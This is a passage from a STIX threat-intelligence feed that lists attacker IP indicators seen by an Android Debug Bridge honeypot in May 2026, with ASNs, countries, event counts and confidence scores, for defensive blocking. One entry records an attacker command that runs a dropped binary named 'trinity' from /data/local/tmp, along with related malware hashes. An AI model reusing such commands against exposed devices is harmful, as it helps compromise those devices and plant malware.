      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-26T06:57:12.000Z",
          "last_seen": "2026-05-26T07:07:29.831Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T07:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=AE; asn=209373; asn_org=Swissnet LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-26T06:02:49.000Z | last_seen=2026-05-28T14:05:41.740Z | ports=5555 | cc=AE | asn=209373 | org=Swissnet LLC",
      "id": "indicator--1a5080c2-8a2e-4e19-b4bb-742703d8b9c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:00:07.000Z",
      "valid_until": "2026-06-27T07:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-26T06:02:49.000Z",
          "last_seen": "2026-05-28T14:05:41.740Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "209373"
          ],
          "org": [
            "Swissnet LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T07:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-26T06:12:48.000Z | last_seen=2026-05-31T13:48:30.237Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:00:07.000Z",
      "valid_until": "2026-06-27T07:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-26T06:12:48.000Z",
          "last_seen": "2026-05-31T13:48:30.237Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T07:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-26T06:11:37.000Z | last_seen=2026-05-26T06:12:47.744Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8c2692c2-5750-4bd9-a304-297abae7ff26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:00:07.000Z",
      "valid_until": "2026-06-27T07:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-26T06:11:37.000Z",
          "last_seen": "2026-05-26T06:12:47.744Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-26T07:04:58.000Z | last_seen=2026-05-26T07:15:47.432Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2b935355-a88b-40b4-9a9c-3a41d2eb4ca2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.99.156.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:00:03.000Z",
      "valid_until": "2026-06-27T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-26T07:04:58.000Z",
          "last_seen": "2026-05-26T07:15:47.432Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=63; ports=5555; cc=CN; asn=56046; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=28; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=63 | first_seen=2026-05-26T07:00:03.000Z | last_seen=2026-05-26T07:14:24.859Z | ports=5555 | cc=CN | asn=56046 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--52c9f4d4-2758-4943-a93b-0a730f276469",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '223.113.141.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T08:00:03.000Z",
      "valid_until": "2026-06-27T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 63,
          "first_seen": "2026-05-26T07:00:03.000Z",
          "last_seen": "2026-05-26T07:14:24.859Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56046"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=183 | first_seen=2026-05-26T10:10:45.000Z | last_seen=2026-05-31T00:52:44.681Z | ports=5555 | cc=BG | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--8080f351-eea6-4df4-96d4-b40638c67845",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:00:02.000Z",
      "valid_until": "2026-06-27T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 183,
          "first_seen": "2026-05-26T10:10:45.000Z",
          "last_seen": "2026-05-31T00:52:44.681Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-26T10:01:37.000Z | last_seen=2026-05-26T10:02:40.319Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--3935275e-f3cf-4945-8ae9-6b3b06e48848",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '222.77.252.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T11:00:02.000Z",
      "valid_until": "2026-06-27T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-26T10:01:37.000Z",
          "last_seen": "2026-05-26T10:02:40.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=214209; asn_org=Internet Magnate (Pty) Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=12 | first_seen=2026-05-26T11:38:58.000Z | last_seen=2026-05-26T15:37:30.676Z | ports=5555 | cc=BG | asn=214209 | org=Internet Magnate (Pty) Ltd",
      "id": "indicator--fba07775-58a2-40ad-8822-19b46013b3c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.156.152.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T12:00:02.000Z",
      "valid_until": "2026-06-27T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 12,
          "first_seen": "2026-05-26T11:38:58.000Z",
          "last_seen": "2026-05-26T15:37:30.676Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "214209"
          ],
          "org": [
            "Internet Magnate (Pty) Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=211607; asn_org=Securitytrails, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-26T13:44:00.000Z | last_seen=2026-05-26T13:45:08.393Z | ports=5555 | cc=US | asn=211607 | org=Securitytrails, LLC",
      "id": "indicator--7c05a5ee-c6de-4834-8ad4-5a8311f0a34c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.3.53.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T14:00:01.000Z",
      "valid_until": "2026-06-27T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-26T13:44:00.000Z",
          "last_seen": "2026-05-26T13:45:08.393Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "211607"
          ],
          "org": [
            "Securitytrails, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-26T16:04:03.000Z | last_seen=2026-05-26T16:05:06.955Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--47ddf46e-7477-4b49-9c11-a4d692e9c0d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.237.156.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:00:03.000Z",
      "valid_until": "2026-06-27T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-26T16:04:03.000Z",
          "last_seen": "2026-05-26T16:05:06.955Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=27699; asn_org=TELEFONICA BRASIL S.A; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-26T16:40:23.000Z | last_seen=2026-05-26T16:50:28.117Z | ports=5555 | cc=BR | asn=27699 | org=TELEFONICA BRASIL S.A",
      "id": "indicator--67cc7a19-69f9-42df-8ba7-75e2efc11256",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '187.35.240.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:00:03.000Z",
      "valid_until": "2026-06-27T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-26T16:40:23.000Z",
          "last_seen": "2026-05-26T16:50:28.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "27699"
          ],
          "org": [
            "TELEFONICA BRASIL S.A"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-26T16:03:22.000Z | last_seen=2026-05-26T16:04:30.070Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--d7044d51-fefd-4dce-98ca-b302ff37ec1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.79.109.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T17:00:03.000Z",
      "valid_until": "2026-06-27T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-26T16:03:22.000Z",
          "last_seen": "2026-05-26T16:04:30.070Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-26T19:24:29.000Z | last_seen=2026-05-28T10:50:03.859Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--42f70860-768c-4e19-8633-693fdb37950f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:00:02.000Z",
      "valid_until": "2026-06-27T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-26T19:24:29.000Z",
          "last_seen": "2026-05-28T10:50:03.859Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CH; asn=51852; asn_org=Private Layer INC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-26T19:28:35.000Z | last_seen=2026-05-31T06:45:47.912Z | ports=5555 | cc=CH | asn=51852 | org=Private Layer INC",
      "id": "indicator--d5622184-0961-4336-b615-e93be6684d80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '179.43.134.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:00:02.000Z",
      "valid_until": "2026-06-27T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-26T19:28:35.000Z",
          "last_seen": "2026-05-31T06:45:47.912Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CH"
          ],
          "asn": [
            "51852"
          ],
          "org": [
            "Private Layer INC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-26T20:30:50.000Z | last_seen=2026-05-26T20:32:12.761Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--e2b0662f-a8f1-44b2-a04f-17ecc9bc8996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:00:02.000Z",
      "valid_until": "2026-06-27T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-26T20:30:50.000Z",
          "last_seen": "2026-05-26T20:32:12.761Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T02:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-27T01:24:11.000Z | last_seen=2026-05-27T01:34:16.198Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a6a170ee-9931-46f2-95a4-40c0382b36e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
